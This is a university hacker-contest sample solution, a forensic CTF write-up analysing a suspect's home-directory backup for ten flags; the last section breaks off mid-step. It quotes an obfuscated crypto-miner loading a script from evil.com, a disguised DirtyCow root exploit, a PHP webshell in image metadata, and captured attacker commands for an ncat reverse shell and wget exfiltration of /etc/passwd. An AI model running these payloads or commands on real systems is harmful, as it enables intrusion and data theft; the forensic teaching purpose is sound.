In the summer semester of 2022, our "Hacker Contest" will be held again at Darmstadt University (TU) and Darmstadt University of Applied Sciences (h_da). In the popular course, students get real insights into IT security and gain hands-on experience with tools and methods to search for vulnerabilities in networks and systems within our PentestLab.
As every semester, prospective participants took on the Hacker Contest Challenge to qualify for participation.
If you are curious to know what a Hacker Contest Challenge looks like, or which flags you might have missed this time: This is our sample solution for the summer semester Hacker Contest Challenge.
Table of Contents
- Scenario
- The Challenge
- Solution
- Preparation
- Flag 1: Bad PDF redaction
- Flag 2: Blurred number plate
- Flag 3: Crypto miner
- Flag 4: Reversing an exploit
- Flag 5: PHP webshell in image
- Flag 6: Firefox cookies
- Flag 7: Deleted Email
- Flag 8: Stegano / important cat
- Flag 9: Weak Encryption
- Flag 10: important.gpg
- Derivable Information
- OPSEC - Fails
- VPN configuration
- .zshrc
- Same username for different services
Scenario
While investigating various cyber crime cases, the investigators managed to get hold of a suspects backup containing the entire home directory of a foreign system. Internal analysis found neither hints about its origin nor evidence for involvement in illegal activities. Now the police department seeks professional help from cyber security experts to further analyze the backup.
The Challenge
Your task is to analyze the backup and to find additional information about its origin and evidence for potential cyber crime cases. During your analysis, you have to solve several small challenges were each solved challenge is rewarded with a flag of the following format: usd{<20 character String>}. In total 10 flags can be found.
Additionally some configurations within the backup file indicate a threat to the OPSEC. When you manage to find and list them within your solution, this will be used a tiebreake
Solution
Preparation
The backup is provided as an image file. We first check the images type and when mount it within our system:
[student@host ~]$ file image.img image.img: Linux rev 1.0 ext4 filesystem data, UUID=e07e3695-dfbd-4263-b118-6c3bb402c607 (extents) (64bit) (large files) (huge files) [student@host ~]$ mount image.img /mnt
Now we can investigate the backup contents within the /mnt folder.
Flag 1: Bad PDF redaction
As we already know, the backup contains a home folder. The only user folder contained within it is named jim. Within the Downloads folder of the backup, we find a boarding pass in PDF format:
[student@host ~]$ ls ticket.pdf
The contents of ticket.pdf:
Parts of the pdf are overlaid and no longer readable. However, just using the mouse to mark the redacted parts and copying them into the clipboard reveals their contents. An alternate approach is pdftotext:
[student@host /mnt/home/jim/Downloads]$ pdftotext ticket.pdf [student@host /mnt/home/jim/Downloads]$ cat ticket.txt ...<SNIP>... USD{94CE3A 47F3B9CC4F 4BBF} ...<SNIP>...
Flag 2: Blurred number plate
The Pictures folder contains a PNG image file:
[student@host /mnt/home/jim]$ ls Pictures bought.png
The image shows a car, but the number plate is blurred.
The blurring happens in a straight line which means a horizontal (motion) blur was applied. Recovering the original image can be done using different tools like gimp or photoshop, or by using image manipulation libraries. For this write-up, we use the skimage (pip install scikit-image) python library. Because we know that a horizontal blur is used, we can approximate the blurring kernel with a 3 x n matrix like this:
[ [ 0, 0, 0, ... ], [ 1, 1, 1, ... ], [ 0, 0, 0, ... ] ]
First we need to crop the image such that only the plate is visible:
All that's left is to find out an appropriate value for n.
import time import numpy as np from PIL import Image from skimage.io import imsave,imread from skimage import color, data, restoration #convert the cropped image of the plate to grayscale img = color.rgb2gray(imread('plate_only.png')) #test various lengths of the kernel for motion_blur_len in range(3, 70): #create the kernel psf = np.zeros((3, motion_blur_len)) psf[1] = np.ones(motion_blur_len) #use the wiener filter to deblur the image with chosen kernel deconvolved_img, _ = restoration.unsupervised_wiener(img, psf) imsave('deblur_auto.png', deconvolved_img) image = Image.open('deblur_auto.png') image.show() time.sleep(2)
Deblurred Number Plate with kernel length 10:
Deblurred Number Plate with kernel length 30:
Deblurred Number Plate with kernel length 60:
Deblurred Number Plate with kernel length 68:
Flag 3: Crypto miner
Inside the /mnt/home/jim/tools/ directory we find amoung other files and directory a html file miner.html containing heavily obfuscated javascript.
[student@host /mnt/home/jim]$ ls tools cat ghidra john miner.html PayloadsAllTheThings
<script src="https://evil.com/mminer.min.js"></script> <script> (function(_0x181de6,_0x97d6c1){function _0x5a1f8c(_0x8b9ffd,_0x2126bd,_0xa32fd3){return _0x2c53(_0xa32fd3- -0xb7,_0x8b9ffd);}function _0x3c934c(_0x49541c,_0x227bb7,_0x956b30){return _0x2c53(_0x49541c-0x1e7,_0x227bb7);}function _0x2df767(_0x2f4cf8,_0x2c71f7,_0x4e7cbc){return _0x2c53(_0x4e7cbc- -0x3be,_0x2f4cf8);}function _0x3545a8(_0x22a5e1,_0x248fa6,_0xdf02f4){return _0x2c53(_0x22a5e1-0x167,_0xdf02f4);}function _0x409406(_0x24cba3,_0x382575,_0x321626){return _0x2c53(_0x24cba3- -0x1c9,_0x382575);}var _0x2957d9=_0x181de6();while(!![]){try{var _0x1a5c53=-parseInt(_0x3c934c(0x393,'lWI!',0x3a7))/0x1+parseInt(_0x5a1f8c('Qg2Q',0xa9,0x91))/0x2+parseInt(_0x2df767('c[]N',-0x23d,-0x233))/0x3*(parseInt(_0x409406(-0x48,'r]!Y',-0x50))/0x4)+-parseInt(_0x3545a8(0x2b3,0x29e,'h0&v'))/0x5*(-parseInt(_0x5a1f8c('oNTO',0xb7,0xd1))/0x6)+parseInt(_0x409406(-0x2a,'pQrv',-0x2e))/0x7*(parseInt(_0x3545a8(0x2b2,0x2a6,'N@Rb'))/0x8)+-parseInt(_0x2df767('wjN2',-0x211,-0x22f))/0x9+-parseInt(_0x409406(-0x37,')ivL',-0x68))/0xa*(parseInt(_0x2df767('fcLd',-0x22e,-0x234))/0xb);if(_0x1a5c53===_0x97d6c1){break;}else{_0x2957d9['push'](_0x2957d9['shift']());}}catch(_0x54d54b){_0x2957d9['push'](_0x2957d9['shift']());}}}(_0x264e,0x5c312));function _0x31083c(_0x1b1b14){var _0xd952f3=_0x1b1b14();return _0xd952f3;}function _0x3d1e74(_0xe7588f){function _0x329a07(_0x52a248,_0x1518c0,_0x4ac632){return _0x2c53(_0x4ac632-0x281,_0x52a248);}var _0x1fe19a=_0x350ca5(0x34b,0x367,')U60')+'ar';if(_0xe7588f()[_0x32caef(-0x13b,-0x118,'O&XT')+_0x28a676(0x3f9,'Bmc#',0x412)](_0x350ca5(0x3b8,0x393,'r]!Y'))){return 0x1;}function _0x32caef(_0x246006,_0x3023b4,_0x4ebde1){return _0x2c53(_0x246006- -0x2b5,_0x4ebde1);}function _0x40bc9d(_0x3ccbd4,_0x2488de,_0x185787){return _0x2c53(_0x3ccbd4- -0x86,_0x2488de);}function _0x350ca5(_0x16a5ce,_0xb18ed2,_0x4c8fde){return _0x2c53(_0xb18ed2-0x20d,_0x4c8fde);}if(_0xe7588f()[_0x329a07('K[48',0x417,0x400)+_0x40bc9d(0xee,'AkxB',0xed)](_0x40bc9d(0xc3,'vK0V',0x9a))){return 0x2;}function _0x28a676(_0x34c7f8,_0x249563,_0x3d71cb){return _0x2c53(_0x3d71cb-0x26f,_0x249563);}if(_0xe7588f()[_0x32caef(-0x125,-0xf7,'q@iJ')+_0x40bc9d(0xd6,'xMu*',0x108)](_0x32caef(-0x16f,-0x144,')ivL'))){return 0x3;}if(_0xe7588f()[_0x350ca5(0x349,0x372,'Bmc#') ...<SNIP>...
The contained JavaScript should first be converted to a readable form by using e.g. an online JavaScript beautifier. Within the beautified code, we can find that function names were not obfuscated:
...<SNIP>... if (_0xa8d754(_0x268042) == (0x4 ^ 0x7)) startMining(_0x38ed76, _0xea05ff(_0x268042), _0x4c684f, _0x5921bb, _0x304de5); ...<SNIP>...
The function startMining strikes the eye and one of its parameters should be an address to the wallet it is mining for. To inspect the parameters we can edit the file and add a debugger statement. This creates a breakpoint and launches the build-in debugger of most common web browsers once the statement is reached.
...<SNIP>... if (_0xa8d754(_0x268042) == (0x4 ^ 0x7)) {debugger;startMining(_0x38ed76, _0xea05ff(_0x268042), _0x4c684f, _0x5921bb, _0x304de5);} ...<SNIP>...
Loading the modified JavaScript in a browser allows to investigate the arguments used for the startMinding function. We find that the expression _0xea05ff(_0x268042) gets evaluated to USD{5FA6C9B90D2E863D4FAA}.
Note: The file was obfuscated using https://obfuscator.io/ and prevents any calls to Console.log.
Flag 4: Reversing an exploit
Also in the tool directory we find a binary called cat. First we decompile the program using ghidra:
// main function void FUN_0010174c(undefined8 param_1,long param_2) { int iVar1; long in_FS_OFFSET; undefined local_a0 [8]; size_t local_98; size_t local_90; char *local_88; char *local_80; size_t local_78; char *local_70; undefined4 local_68; undefined local_64; undefined8 local_10; local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28); // param_2 == argv[1] -> input string local_90 = strlen(*(char **)(param_2 + 8)); // apply some function to the string local_88 = (char *)FUN_00101231(*(undefined8 *)(param_2 + 8),local_90,local_a0); iVar1 = strcmp(local_88,"SDt+TLwfFUF8t9xUR+S9tIsOQUkJSjoHTVJ="); if (iVar1 == 0) { local_80 = "snScFCw6EV+6RnScGCseRUN="; local_78 = strlen("snScFCw6EV+6RnScGCseRUN="); local_98 = strlen(local_80); // decode some strings? local_70 = (char *)FUN_00101479(local_80,local_78,&local_98); printf(local_70); // call cowroot FUN_00101591(); } else { local_68 = 0x20746163; local_64 = 0; // prepare to call cat strcat((char *)&local_68,*(char **)(param_2 + 8)); // call cat system((char *)&local_68); } /* WARNING: Subroutine does not return */ exit(0); }
undefined8 FUN_00101591(void) { undefined *puVar1; ulong uVar2; long in_FS_OFFSET; undefined8 uStack96; char *local_58; long local_50; undefined *local_48; long local_40; local_40 = *(long *)(in_FS_OFFSET + 0x28); uStack96 = 0x1015c6; puts("DirtyCow root privilege escalation");
./cat will run cowroot which will provide the attacker with a root shell if the kernel of the machine it is running on is vulnerable. The exploit was renamed to the innocent looking program cat and will act like it unless the correct passphrase is provided. It performs a modified base64 encoding algorithm on the input and compares it to a hard coded string. If the encoded input matches the string the exploit is executed. The challenge is the reverse the encoded string to clear text.
We want to observe what is happening inside the relevant part of the if section. To do this, run the program inside an C debugger like gdb, and set the value iVar1 which is checked inside the guard to true.
[student@host ~]$ gdb cat (gdb)set disassembly-flavor intel ... (gdb)r inp ... (gdb)info file ... Entry point: 0x5555555550d0 ... (gdb)b *0x5555555550d0 ... (gdb)layout asm # step with si and n throught the program until the relevant section (if clause) is reached. │ 0x5555555557b7 mov QWORD PTR [rbp-0x80],rax │ 0x5555555557bb mov rax,QWORD PTR [rbp-0x80] │ 0x5555555557bf lea rdx,[rip+0x842] #0x555555556008 │ 0x5555555557c6 mov rsi,rdx │ 0x5555555557c9 mov rdi,rax │ 0x5555555557cc call 0x555555555070 <strcmp@plt> │ 0x5555555557d1 test eax,eax # <--- if (iVar1==0) │ 0x5555555557d3 jne 0x555555555852 (gdb)b *0x5555555557d1 ... # setting iVar1 == 0 to true (gdb)set $eax=0 (gdb)c Continuing. 0wned by pwnic0rn [Detaching after vfork from child process 37666] $ exit # "0wned by pwnic0rn" is not found in the binary, so local_80 is probably the encoded representation of "0wned by pwnic0rn" and FUN_00101479 is a decoding function # iVar1 = strcmp(local_88,"SDt+TLwfFUF8t9xUR+S9tIsOQUkJSjoHTVJ="); <-- the encoded passphrase. If we pass this to the decoding function we should get the cleartext (gdb)r inp # step with si and n until the adress of local_78 is loaded │ 0x5555555557bb mov rax,QWORD PTR [rbp-0x80] │ 0x5555555557bf lea rdx,[rip+0x842] # 0x555555556008 <-- Location of "SDt+TLwfFUF8t9xUR+S9tIsOQUkJSjoHTVJ=" │ 0x5555555557c6 mov rsi,rdx │ 0x5555555557c9 mov rdi,rax │ 0x5555555557cc call 0x555555555070 <strcmp@plt> │ 0x5555555557d1 test eax,eaxTR [rbp-0x78],rax │ 0x5555555557d3 jne 0x555555555852[rbp-0x78] │ 0x5555555557d5 lea rax,[rip+0x851] # 0x55555555602d <-- Location of local_80 │ > 0x5555555557dc mov QWORD PTR [rbp-0x78],raxlt>,rcx │ 0x5555555557e0 mov rax,QWORD PTR [rbp-0x78] # set $rax to the location of the encoded passphrase (gdb)set $rax=0x555555556008 (gdb)c # now instead of decodeding the welcome message the passphrase will be decoded and printed ...<SNIP>... usd{d1ffb64frGc739na4t22z}
Another way to decode the passphrase is to notice the base64-like structure of the strings, and to look for a dictionary that is used to perform the encoding:
[student@host ~]$ strings cat ...<SNIP>... SDt+TLwfFUF8t9xUR+S9tIsOQUkJSjoHTVJ= snScFCw6EV+6RnScGCseRUN= ...<SNIP>... Ahijklmnopqrstuvwxyz0BCDEFGQRST56789+/UVWXYZabcdefHIJKLMNOPg1234 # <-- dictionary ...<SNIP>...
Once the dictionary is known tools like https://gchq.github.io/CyberChef/ or https://cryptii.com/pipes/text-to-base64 can be used to decode the string.
Flag 5: PHP webshell in image
Inside the tools folder of jim, we find a local clone of the popular PayloadsAllTheThings repository: /mnt/home/jim/tools/PayloadsAllTheThings. We should look for local changes:
[student@host ~]$ cd /mnt/home/jim/tools/PayloadsAllTheThings [student@host /mnt/home/jim/tools/PayloadsAllTheThings]$ git ls-files . --exclude-standard --others Upload Insecure Files/Picture Metadata/pwncat.jpg [student@host /mnt/home/jim/tools/PayloadsAllTheThings]$ exiftool 'Upload Insecure Files/Picture Metadata/pwncat.jpg' ...<SNIP>... Certificate : <?php system($_GET["cmd"]); echo(bzk{53ll7m14093k2343197j});?> ...<SNIP>...
This is obviously a webshell which executes the command specified within the GET parameter cmd when evaluated by a PHP server. bzk{53ll7m14093k2343197j}, on the other hand, looks like an encoded Flag. Since {} was not encoded, a shifting cipher was probably used. We can now brute-force all possible shifts:
[student@host ~]$ echo bzk{53ll7m14093k2343197j} | tr 'A-Za-z' 'T-ZA-St-za-s' #shift by 19 usd{53ee7f14093d2343197c}
An alternative would be to use tools like dcode.fr which can guess the shift for us.
Flag 6: Firefox cookies
Within the backup, we also find a ~/.mozilla folder. This suggests that firefox was used on the foreign machine, and we may be able to obtain useful information from stored cookies. We find that the cookies.sqlite cookie storage of firefox contains a base64 encoded flag:
[student@host ~]$ cd /mnt/home/jim/.mozilla/firefox/xsds7s5w.default-release [student@host /mnt/home/jim/.mozilla/firefox/xsds7s5w.default-release]$ sqlite3 cookies.sqlite sqlite> select * from moz_cookies; ... 9||SHOPPING_CART|{ 'items':[{'id': '123', 'size': 'XL', 'color':'black'}, {'id':345, 'size'='54', 'color'='grey'}]}|www.aclothingstore.com|/|1642584319|1642497930588553|1642497930588553|0|0|0|0|0|0 10||SESSION|dXNkezUwY2YxOTkxMjk2MGY2NTQ5MGIzfQo=|www.aclothingstore.com|/|1642584319|1642497930588553|1642497930588553|0|0|0|0|0|0
The SESSION cookie from aclothingstore.com contains a base 64 encoded string:
$ echo "dXNkezUwY2YxOTkxMjk2MGY2NTQ5MGIzfQo=" | base64 -d usd{50cf19912960f65490b3}
Flag 7: Deleted Email
So far we looked at files that were still present within the image. One crucial step in analyzing disk images is looking for deleted files. This can be done with tools like photorec:
[student@host ~]$ photorec image.img # it is important to select the ext4 fs # the select "free space", otherwise photorec will attempt to restore all files on the fs 2 files saved Recovery completed. [student@host ~]$ tree recup_dir.1 recup_dir.1 ├── f0253904.h ├── f0253944.txt └── report.xml
The recovered file f0253944.txt contains some SMTP messages. In the second message the suspect asks for help:
...<HEADER>... --------------jM6TOTqkLez3lo9Yy1nE8j9E Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit Hi Leon, since I helped you last time owning that website, I guess it's your turn. I've been trying to find a string that passes these checks. Cheers, Jim --------------jM6TOTqkLez3lo9Yy1nE8j9E Content-Type: application/octet-stream; name="validateKey" Content-Disposition: attachment; filename="validateKey" Content-Transfer-Encoding: base64 f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAYBAAAAAAAABAAAAAAAAAAF ...<HEXDATA>...
First we separate the attachment, remove any line breaks and decode it.
# Extract the base64 encoded attachment from f0253944.txt [student@host ~]$ cat attachment.64 | tr -d '\n\r' | base64 -d > data
Using the file command, we can find that the attachment is an executable ELF file. We can use opensource tools like ghidra to decompile the binary. Relevant parts of the decompiled binary are:
int prime = prime_numbers[10]; // the 11th prime number char * num = argv[1]; int valid = 1; int chk = (num[0] + num[10] + num[19]) << (num[1] + num[2]); chk = chk >> (num[3] + num[4] - num[5]); chk = chk >> (27 -20 ); chk = chk >> (30 + num[14]); i = 1; if (chk != -12){valid = 0;}; if ((num[5] ^ num[7] ^ num[9] ^ num[4] ^ num[8]) != 71){valid = 0;}; if (num[1] != (num[3] +17)){valid = 0;}; if ((num[2] - num[19]) != (1 << 6) + 19){valid = 0;}; if ((num[3] ^ num[19] << num[1]-90 )!= 67668){valid = 0;}; if ((num[4] << num[9] - 70) != 1703936){valid = 0;}; if ((num[5] ^ num[3] - 80 )!= 109){valid = 0;}; if ((num[6] * num[1]) != 11615){valid = 0;}; if (num[0] != 71){valid = 0;}; if (num[19] != 33){valid = 0;}; if (num[9] != 84){valid = 0;}; if ((num[14] ^ num[5]) != 10){valid = 0;}; if ((num[8] ^ num[3]) != 21){valid = 0;}; if ((num[10] ^ 5) != 108){valid = 0;}; if (num[11] != 115){valid = 0;}; if ((num[12] >> 4 )!= 6){valid = 0;}; if ((num[13] ^ num[14]) != 2){valid = 0;}; if ((num[15] ^ num[12])!= 18){valid = 0;}; if ((num[12] ^ num[3])!= 50){valid = 0;}; if ((num[16] + num[19] )!= 138){valid = 0;}; if (num[17] != (num[1] + 10)){valid = 0;}; if (num[18] != (prime + 79)){valid = 0;}; if (valid){printf("%s", "Nice!\n" );printf("usd{%s}", num);} else { printf("%s", "Key is not valid"); } return 0;
The program validates several assertions over the input string, if they hold, the input string represents the correct flag and is returned. We can solve this challenge either by guessing (brute-force method) or by the usage of a theorem prover. In this solution, we use Z3 (pip3 install z3-solver), but different options are available.
#!/usr/bin/python from z3 import * def sieve(n): multiples = [] primes = [] for i in range(2, n+1): if i not in multiples: primes.append(i) for j in range(i*i, n+1, i): multiples.append(j) return primes prime = sieve(100)[10] num = [BitVec("num[%d]" % i,32)for i in range(0,20)] z3_solver = Solver() flag = "" z3_solver.add((num[5] ^ num[7] ^ num[9] ^ num[4] ^ num[8] == 71)) z3_solver.add((num[1] == num[3] +17)) z3_solver.add((num[2] - num[19] == (1 << 6) + 19)) z3_solver.add((num[3] ^ num[19] << num[1]-90 == 67668)) z3_solver.add((num[4] << num[9] - 70 == 1703936)) z3_solver.add((num[5] ^ num[3] - 80 == 109)) z3_solver.add((num[6] * num[1] == 11615)) z3_solver.add((num[0] == 71)) z3_solver.add((num[19] == 33)) z3_solver.add((num[9] == 84)) z3_solver.add((num[14] ^ num[5] == 10)) z3_solver.add((num[8] ^ num[3] == 21)) z3_solver.add((num[10] ^ 5 == 108)) z3_solver.add((num[11] == 115)) z3_solver.add((num[12] >> 4 == 6)) z3_solver.add((num[13] ^ num[14] == 2)) z3_solver.add((num[15] ^ num[12]== 18)) z3_solver.add((num[12] ^ num[3]== 50)) z3_solver.add((num[16] + num[19] == 138)) z3_solver.add((num[17] == num[1] + 10)) z3_solver.add((num[18] == prime + 79)) #solution has to be printable ascii for i in range(0,len(num)): z3_solver.add(num[i] >= 0x20 , num[i] <= 0x7f ) if z3_solver.check() == sat: sol = z3_solver.model() for i in range(20): flag += chr(int(str(sol[num[i]]))) print (flag)
Now Z3 can try to find a string that satisfies all rules:
[student@host ~]$ python solve.py GetThisSATisfaction! [student@host ~]$ ./binary GetThisSATisfaction! Nice! usd{getThisSATisfaction}
Flag 8: Stegano / important cat
When we obtained Flag 7 we recovered some SMTP traffic. Within it, we can find another mail asking the receiver to urgently open an image of an important cat.
--------------k4AReqfas8Rd90gqnwrSa85a-- Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit Jack, I've found this Image of a cat. It's so funny, make sure to INSPECT it NOW! http://evil.com/cat.jpg
Since firefox was used earlier, we can try to check whether this image was cached by the browser.
The Firefox cache is located under /mnt/home/jim/.cache/mozilla/firefox/.default-release/cache2/entries/. Inside this folder we find the image 75EEE736F281F5693206FCC7026B0C4F0E1AE0C0 of a cat. We can check whether hidden information is contained within the image using steghide. Indeed, we find a flag:
[student@host ~]$ steghide extract -sf 75EEE736F281F5693206FCC7026B0C4F0E1AE0C0 -xf out [student@host ~]$ cat out Meet in 20min. 33.3926515013514, -117.2347743334174. L usd{7df5e7013803c097abbc}
Flag 9: Weak Encryption
When we obtained Flag 7, there was another file recovered we did not look at so far: f0253904.h. This file contains some dumped network traffic:
No. Time Source Destination Protocol Length Info 1 1.054457546 92.117.32.15 112.0.1.12 HTTP 876 POST / HTTP/1.1 (JPEG JFIF image) Hypertext Transfer Protocol POST / HTTP/1.1\r\n ...<HTTP data>... MIME Multipart Media Encapsulation, Type: multipart/form-data, Boundary: "---------------------------307417106128493101451432141175" [Type: multipart/form-data] First boundary: -----------------------------307417106128493101451432141175\r\n Encapsulated multipart part: (image/jpeg) Content-Disposition: form-data; name="file"; filename="pwncat.jpg.php"\r\n Content-Type: image/jpeg\r\n\r\n JPEG File Interchange Format ...<Image Data>... No. Time Source Destination Protocol Length Info 2 1.058823489 112.0.1.12 92.117.32.15 HTTP 502 HTTP/1.0 200 OK (text/html) Hypertext Transfer Protocol HTTP/1.0 200 OK\r\n ...<HTTP data>... Line-based text data: text/html (7 lines) <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><html>\n <title>Upload Result Page</title>\n <body>\n <h2>Upload Result Page</h2>\n <hr>\n [truncated]<strong>Success:</strong>File '/home/user/uploads/image/pwncat.jpg.php' upload success!<br><a href="http://112.0.1.12:8088/">back</a><hr><small> </html>\n No. Time Source Destination Protocol Length Info 3 10.000890212 92.117.32.15 112.0.1.12 HTTP 459 GET /upload/images/pwncat.jpg?cmd=%22ncat%2010.0.2.15%202222%20-e%20/bin/bash%22 HTTP/1.1 Hypertext Transfer Protocol GET /upload/images/pwncat.jpg.php?cmd=%22ncat%2092.117.32.15%202222%20-e%20/bin/bash%22 HTTP/1.1\r\n ...<HTTP data>... [Full request URI: http://112.0.1.12:8080/upload/images/pwncat.jpg.php?cmd=%22ncat%2092.117.32.15%202222%20-e%20/bin/bash%22] [HTTP request 1/1] No. Time Source Destination Protocol Length Info 4 38.122022330 92.117.32.15 112.0.1.12 TCP 135 80 → 59642 [PSH, ACK] Seq=1 Ack=1 Win=64240 Len=81 Hypertext Transfer Protocol wget 92.117.32.15:8000/tools/cat.c -O /dev/shm/cat.c && wget 10.0.2.15:8000/.local/bin/enc -O /dev/shm/enc && gcc /dev/shm/cat.c -pthread\n [Expert Info (Warning/Protocol): Illegal characters found in header name] [Illegal characters found in header name] [Severity level: Warning] [Group: Protocol] No. Time Source Destination Protocol Length Info 5 79.550917943 92.117.32.15 112.0.1.12 TCP 127 80 → 59642 [PSH, ACK] Seq=177 Ack=1 Win=64240 Len=73 Hypertext Transfer Protocol wget 92.117.32.15:8000/?exfit=$(python /dev/shm/enc $(cat /etc/passwd) ***)\n [Expert Info (Warning/Protocol): Illegal characters found in header name] [Illegal characters found in header name] [Severity level: Warning] [Group: Protocol] No. Time Source Destination Protocol Length Info 6 80.000715420 112.0.1.12 92.117.32.15 HTTP 379 GET /?exfilt=FTEjcAhDLjwwTh1IAQ9pTkgKQxU+BE0eV1gvfCYVFho7QCoRAB9JQGBARwEFC3BjdERVSERGPQ8QRFU/PxMFSEVFKDwqRVdBBQBvQw8fHhI+HRIeQEIkIX5bBxtfGjsVAU07GDgeTUkPAHtifk5KSB5AKgZdR1gUfh4YXVpWKD1kVEVSERV5VFIFEVo= HTTP/1.1 TCP payload (325 bytes) Hypertext Transfer Protocol GET /?exfilt=FTEjcAhDLjwwTh1IAQ9pTkgKQxU+BE0eV1gvfCYVFho7QCoRAB9JQGBARwEFC3BjdERVSERGPQ8QRFU/PxMFSEVFKDwqRVdBBQBvQw8fHhI+HRIeQEIkIX5bBxtfGjsVAU07GDgeTUkPAHtifk5KSB5AKgZdR1gUfh4YXVpWKD1kVEVSERV5VFIFEVo= HTTP/1.1\r\n ...<HTTP data>... [Full request URI: http://92.117.32.15:2222/?exfilt=FTEjcAhDLjwwTh1IAQ9pTkgKQxU+BE0eV1gvfCYVFho7QCoRAB9JQGBARwEFC3BjdERVSERGPQ8QRFU/PxMFSEVFKDwqRVdBBQBvQw8fHhI+HRIeQEIkIX5bBxtfGjsVAU07GDgeTUkPAHtifk5KSB5AKgZdR1gUfh4YXVpWKD1kVEVSERV5VFIFEVo=] [HTTP request 1/1] [Response in frame: 14]
Inside the dump, we find the following command, which was executed on a remote machine uploading the the webshell from Flag 8 and establishing a reverse shell.
wget '92.117.32.15:8000/tools/cat.c -O /dev/shm/cat.c && wget 10.0.2.15:8000/.local/bin/enc -O /dev/shm/enc && gcc /dev/shm/cat.c -pthread'
This command downloads the cat program, as well as the enc script to the victims' server. Later the attacker then tries to encrypt the /etc/passwd/ file using the enc script and attempts to exfiltrate it:
wget '92.117.32.15:8000/?exfit=$(python /dev/shm/enc $(cat /etc/passwd) ***)'
We can find the encrypted passwd file within the network traffic too:
GET /?exfilt=FTEjcAhDLjwwTh1IAQ9pTkgKQxU+BE0eV1gvfCYVFho7QCoRAB9JQGBARwEFC3BjdERVSERGPQ8QRFU/PxMFSEVFKDwqRVdBBQBvQw8fHhI+HRIeQEIkIX5bBxtfGjsVAU07GDgeTUkPAHtifk5KSB5AKgZdR1gUfh4YXVpWKD1kVEVSERV5VFIFEVo= HTTP/1.1\r\n
We can find the enc script within the .local/bin folder of jims home directory: /mnt/home/jim/.local/bin/enc:
def enc(s,k): data = "DATA="+s its = int(math.ceil( len(data) / 20)) toenc = data.ljust(its*20) key = k * its exfilt = base64.b64encode(b''.join(chr(ord(a) ^ ord(b)).encode() for a,b in zip(toenc,key))) print(exfilt) enc(sys.argv[1],sys.argv[2])
This script takes two arguments: the message to encrypt and the encryption secret and performs an XOR encryption. In theory XOR encryption is perfectly safe as long keys are not reused, but this implementation contains a number of flaws allowing us to break the encryption. First we know that DATA= well be prepended to the message, and second the message will be padded to a length of a multiple of 20, only using spaces.
This means that we immediately know the first 5 characters of the secret. By guessing how many spaces n are appended to the data, we know the last n characters of the secret.
secret structure (c for arbitrary character) | "ccccc" | "c" * (20-n-5) | "c" * n | cipher[0:4] ^ 'DATA=' | this part needs to be bruteforced | cipher[-20 + n:] ^ ' '*n
We use this to our advantage and break the encryption using the following script:
import base64 from itertools import cycle def brute(cipher): cipher = base64.b64decode(cipher).decode() key_data = [] for i in range(0,5): for test in product(string.printable, repeat=1): if chr(ord(cipher[i]) ^ ord(''.join(test)) ) == "DATA="[i]: key_data.append(''.join(test)) print('ERROR NO "DATA=" IN MESSAGE') break print(f"found the first 5 chars or the key: {''.join(key_data)}") for i in range(5,19): # at most 15 padded characters print(f"assuming the last {20-i} chars are padded:") for perm in product(string.printable, repeat=i-5): padded_part = ''.join( chr( ord(' ') ^ ord(c)) for c in cipher[-(20-i):]) key = ''.join(key_data) + ''.join(perm) + padded_part dec = ''.join(chr(ord(x) ^ ord(y)) for (x,y) in zip(cipher, cycle(key))) if re.findall(r'.*usd\{[0-9A-Za-z]{20}\}.*', dec) and dec[-(20-i):] == " "*(20-i): # since we know /etc/passwd was encrypted we can look for standard lines like "DATA=root:x:0:0::/root:/bin/bash" or similar strings to verify that we have guessed the correct key print('Found Match!') print('Cleartext: ' + dec) print('Key: '+key) print(brute('FTEjcAhDLjwwTh1IAQ9pTkgKQxU+BE0eV1gvfCYVFho7QCoRAB9JQGBARwEFC3BjdERVSERGPQ8QRFU/PxMFSEVFKDwqRVdBBQBvQw8fHhI+HRIeQEIkIX5bBxtfGjsVAU07GDgeTUkPAHtifk5KSB5AKgZdR1gUfh4YXVpWKD1kVEVSERV5VFIFEVo='))
Executing it provides us the encryption key:
[student@host ~]$ python sol.py found the first 5 chars or the key: Qpw15 assuming the last 15 chars are padded: assuming the last 14 chars are padded: assuming the last 13 chars are padded: assuming the last 12 chars are padded: Found Match! Cleartext: DATA=root:x:0:0::/root:/bin/bash user:x:10000:10000:usd{badEncryption1234567}:/home/user:/bin/bash bin:x:1:1::/:/usr/bin/nologin Key: Qpw151ASDter15Ytr%1z
In a different approach, since we know that /etc/passwd was encrypted, we can assume that the first line in the passwd file is root:x:0:0::/root:/bin/bash. With this assumption, the key can also be recovered:
[student@host ~]$ python >>>> from itertools import cycle >>>> import base64 >>>> cipher = base64.b64decode(''FTEjcAhDLjwwTh1IAQ9pTkgKQxU+BE0eV1gvfCYVFho7QCoRAB9JQGBARwEFC3BjdERVSERGPQ8QRFU/PxMFSEVFKDwqRVdBBQBvQw8fHhI+HRIeQEIkIX5bBxtfGjsVAU07GDgeTUkPAHtifk5KSB5AKgZdR1gUfh4YXVpWKD1kVEVSERV5VFIFE'').decode() >>>> guess = 'DATA=root:x:0:0::/root:/bin/bash' >>>> key = ''.join(chr(ord(c) ^ ord(m)) for (c,m) in zip(cipher[:20], guess[:20])) >>>> message = ''.join(chr(ord(x) ^ ord(y)) for (x,y) in zip(cipher, cycle(key))) >>>> print(f'Key is {key} \nMessage: {message}')
Key is Qpw151ASDter15Ytr%1z Message: DATA=root:x:0:0::/root:/bin/bash user:x:10000:10000:usd{badEncryption1234567}:/home/user:/bin/bash bin:x:1:1::/:/usr/bin/nologin
Flag 10: important.gpg
NOTE: This challenge contained a bug and not solvable during the contest. If you attempted to solve it and included the correct approach within your write-up, it counts as solved.
The file /mnt/home/jim/Documents/important.gpg is obviously interesting and may contains a flag. However, it is encrypted using gpg and we need the correct private key to decrypt it. First, we should check who is capable of decrypting the file:
[student@host ~]$ gpg2 --version gpg (GnuPG) 2.0.19 # check recipients of encrypted file [student@host ~]$ gpg2 --list-only -v -d /mnt/home/jim/Documents/important.gpg gpg: public key is 83A4842F
We find that the key 83A4842F can perform decryption. This key probably belongs to jim, and we should check his keyring:
